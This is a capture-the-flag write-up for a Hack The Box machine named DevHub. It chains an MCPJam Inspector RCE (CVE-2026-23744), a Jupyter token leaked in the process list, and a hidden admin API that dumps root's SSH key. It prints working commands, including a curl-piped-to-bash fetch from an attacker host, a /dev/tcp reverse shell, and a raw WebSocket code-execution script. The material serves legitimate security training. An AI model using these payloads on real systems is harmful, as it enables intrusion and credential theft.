DevHub WriteUp

Table of Contents

DevHub WriteUp

DevHub is a 🟧 Medium difficulty machine on Hack The Box , part of Season 11. The name reflects its purpose: an internal development platform that exposes an MCP (Model Context Protocol) server inspector. The central vulnerability is CVE-2026-23744, a pre-auth RCE in MCPJam Inspector with CVSS 9.8.

πŸ—ΊοΈ Attack Chain

Nmap β†’ Port 22 (SSH) + 80 (nginx DevHub) + 6274 (MCPJam Inspector)
      β”‚
      β–Ό
CVE-2026-23744 β†’ POST /api/mcp/connect β†’ RCE as mcp-dev
      β”‚
      β–Ό
ps aux β†’ Jupyter Lab token exposed β†’ raw WebSocket β†’ RCE as analyst
      β”‚
      β–Ό
/home/analyst/user.txt 🚩
      β”‚
      β–Ό
Jupyter reads /opt/opsmcp/server.py (root) β†’ API key + hidden tool ops._admin_dump
      β”‚
      β–Ό
POST /tools/call target=ssh_keys β†’ root SSH private key
      β”‚
      β–Ό
ssh -i root_key root@localhost β†’ root.txt 🏴

πŸ” Reconnaissance

/etc/hosts

echo "10.129.8.48 devhub.htb" | sudo tee -a /etc/hosts

Port Scan

Phase 1, Quick TCP discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv devhub.htb

Phase 2, Version and script detection:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv devhub.htb
PortServiceDetail
22SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80HTTPnginx 1.18.0, DevHub Internal Development Platform
6274HTTPMCPJam Inspector

The key finding is port 6274. The HTTP response title is MCPJam Inspector: a debugging tool for MCP servers that listens on 0.0.0.0 by default instead of 127.0.0.1, exposing it to any attacker with network access.

πŸ’‰ Initial Access, CVE-2026-23744 (MCPJam Inspector RCE)

What is CVE-2026-23744?

🧠 Concept: CVE-2026-23744 is a pre-authenticated RCE in MCPJam Inspector ≀ 1.4.2. The /api/mcp/connect endpoint accepts JSON fields command and args that define how to start an MCP server, with no validation or authentication whatsoever. Since the inspector listens on 0.0.0.0 by default, any network attacker can send a POST with a “MCP server” that actually executes arbitrary commands. CVSS 9.8. Fixed in v1.4.3.

Verification

Before getting a reverse shell, we confirm code execution with an OOB callback:

# Terminal 1 β€” HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 2 β€” exploit (takes HOST and command, not a full URL)
git clone https://github.com/boroeurnprach/CVE-2026-23744-PoC
cd CVE-2026-23744-PoC
python3 exploit.py devhub.htb 'curl http://YOUR_IP/rce-test'
10.129.8.48 - - "GET /rce-test HTTP/1.1" 404 -

RCE confirmed.

Reverse Shell

# Terminal 1 β€” listener
penelope -p 8443

# Terminal 2 β€” stage the payload on the HTTP server
echo 'bash -i >& /dev/tcp/YOUR_IP/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 3 β€” exploit: fetch shell.sh from attacker and execute it
python3 exploit.py devhub.htb 'curl http://YOUR_IP/shell.sh|bash'
[+] Got reverse shell from devhub~10.129.8.48-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$

βœ… Shell as mcp-dev. The exploit sends {"serverConfig": {"command": "sh", "args": ["-c", "PAYLOAD"]}} to /api/mcp/connect, the inspector spawns the process with no validation.

πŸ”‘ Pivot to User, Jupyter Lab Token Exposed in Process List

Finding the token

From the mcp-dev shell, we list running processes:

ps aux

Among the results:

analyst 1043 ... /home/analyst/jupyter-env/bin/jupyter-lab
  --ip=127.0.0.1 --port=8888 --no-browser
  --notebook-dir=/home/analyst/notebooks
  --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

The Jupyter Lab authentication token is visible in the process command line, readable by any user who can run ps aux. With this token we can authenticate to the Jupyter REST API and execute arbitrary Python code as analyst.

Code execution via Jupyter API

The Jupyter REST API allows creating Python kernels and sending code to them. The kernel communication uses WebSocket , but the websocket module is not available in the system Python.

Solution: we implement the WebSocket protocol manually using Python’s standard socket module, the same approach used with the Node.js Inspector on other machines. The key protocol steps:

  1. Create the kernel via REST: POST /api/kernels β†’ get a kernel_id
  2. Connect via WebSocket to /api/kernels/{id}/channels
  3. Send an execute_request in Jupyter Messaging Protocol format
  4. Parse the response looking for stream messages that contain stdout

πŸ’‘ WebSocket frames sent clientβ†’server must be masked (RFC 6455). Without the XOR mask the server silently closes the connection, the same issue that appeared with the Node.js inspector.

Step 1, Create the kernel:

curl -s -X POST "http://127.0.0.1:8888/api/kernels" \
  -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}'
{"id": "f99996c7-6df0-4583-8f7a-8ceb1396ce7e", "name": "python3", ...}

Step 2, Execute code in the kernel via WebSocket:

cat > /tmp/jupyter_exec.py << 'EOF'
import socket, json, os, struct, time, uuid, re

KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN  = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH   = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"

# 1. WebSocket handshake (HTTP Upgrade)
sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)  # consume HTTP 101 Switching Protocols

# 2. Send masked WebSocket frames (required by RFC 6455)
def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:    hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:             hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

def recv_all(s, timeout=8):
    s.settimeout(timeout)
    buf = b''
    try:
        while True: buf += s.recv(65536)
    except: pass
    return buf

# 3. execute_request message (Jupyter Messaging Protocol v5)
msg = {
    "header": {"msg_id": str(uuid.uuid4()), "username": "x",
                "session": str(uuid.uuid4()), "msg_type": "execute_request",
                "version": "5.0", "date": ""},
    "parent_header": {}, "metadata": {},
    "content": {
        "code": "import os; print(os.popen('id; cat /home/analyst/user.txt').read())",
        "silent": False, "store_history": False,
        "user_expressions": {}, "allow_stdin": False
    },
    "channel": "shell", "buffers": []
}

send_msg(sock, json.dumps(msg))
time.sleep(3)

# 4. Extract stdout from "stream" type messages
raw = recv_all(sock).decode(errors='replace')
for m in re.finditer(r'"msg_type":\s*"stream".*?"text":\s*"(.*?)"(?=,\s*"buffers")', raw, re.DOTALL):
    print(m.group(1).replace('\\n', '\n'))
sock.close()
EOF
python3 /tmp/jupyter_exec.py
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)
<user_flag>

🚩 User Flag

cat /home/analyst/user.txt

πŸ§— Privilege Escalation, Hidden OPSMCP Flask Server β†’ Root SSH Key

Finding the root MCP server

The same ps aux output also shows another relevant process:

root 1052 ... /home/manalyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

A Python server running as root. The file is not readable by mcp-dev, but it is by analyst. We copy it to /tmp with world-readable permissions using the Jupyter kernel we already have.

πŸ’‘ The script below is self-written, it reuses the exact same structure as jupyter_exec.py. The kernel already exists, only the code field in execute_request changes.

cat > /tmp/jupyter_copy.py << 'EOF'
import socket, json, os, struct, time, uuid

KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN  = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH   = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"

sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)

def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:    hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:             hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

msg = {
    "header": {"msg_id": str(uuid.uuid4()), "username": "x",
                "session": str(uuid.uuid4()), "msg_type": "execute_request",
                "version": "5.0", "date": ""},
    "parent_header": {}, "metadata": {},
    "content": {
        # Copy the file and make it readable by mcp-dev
        "code": "import shutil, os; shutil.copy('/opt/opsmcp/server.py', '/tmp/opsmcp_server.py'); os.chmod('/tmp/opsmcp_server.py', 0o644)",
        "silent": False, "store_history": False,
        "user_expressions": {}, "allow_stdin": False
    },
    "channel": "shell", "buffers": []
}

send_msg(sock, json.dumps(msg))
time.sleep(3)
sock.close()
print("Done")
EOF
python3 /tmp/jupyter_copy.py && cat /tmp/opsmcp_server.py

Server analysis

The code reveals a Flask server listening on 127.0.0.1:5000 implementing an operations API:

  • Hardcoded API key: opsmcp_secret_key_4f5a6b7c8d9e0f1a
  • Visible tools (/tools/list): ops.system_status, ops.list_services, ops.check_disk, ops.view_logs
  • Hidden tools (not listed, but callable via /tools/call):
    • ops._debug_mode, reveals the existence of hidden tools
    • ops._admin_dump, accepts target (ssh_keys / passwords / tokens) and dumps sensitive credentials by reading /root/.ssh/id_rsa directly

The vulnerability is two-fold: the API key is hardcoded in the source file (readable as analyst) and the administrative tools have no additional protection beyond that same key.

API verification

# Confirm the server is up and our key is valid
curl -s http://127.0.0.1:5000/tools/list \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a"
{"tools": ["ops.system_status", "ops.list_services", "ops.check_disk", "ops.view_logs"], ...}

Only the visible tools appear. The hidden ones are not listed but can be called directly.

Extracting the root SSH private key

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
{
  "note": "Emergency recovery key dump",
  "root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1...",
  "target": "ssh_keys"
}

SSH access as root

We extract the key from the JSON and connect directly from the victim machine:

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['root_private_key'])" > /tmp/root_key
chmod 600 /tmp/root_key
ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@localhost
root@devhub:~#

βœ… Root shell. The API key in the MCP server source (readable as analyst via Jupyter) plus an “emergency recovery” tool with no additional restrictions give direct access to root’s private key.

🏴 Root Flag

cat /root/root.txt

πŸ“ Attack Summary

#TechniqueToolResult
1ReconnaissancenmapPorts 80 (DevHub) + 6274 (MCPJam Inspector)
2CVE-2026-23744 (pre-auth RCE MCPJam)exploit.pyShell as mcp-dev
3Jupyter Lab token in ps auxraw WebSocket PythonRCE as analyst + user.txt 🚩
4Read /opt/opsmcp/server.py via JupyterJupyter kernel APIAPI key + hidden tool ops._admin_dump
5ops._admin_dump target=ssh_keyscurlRoot SSH private key
6SSH with root keysshShell as root + root.txt 🏴

See you in the next challenge.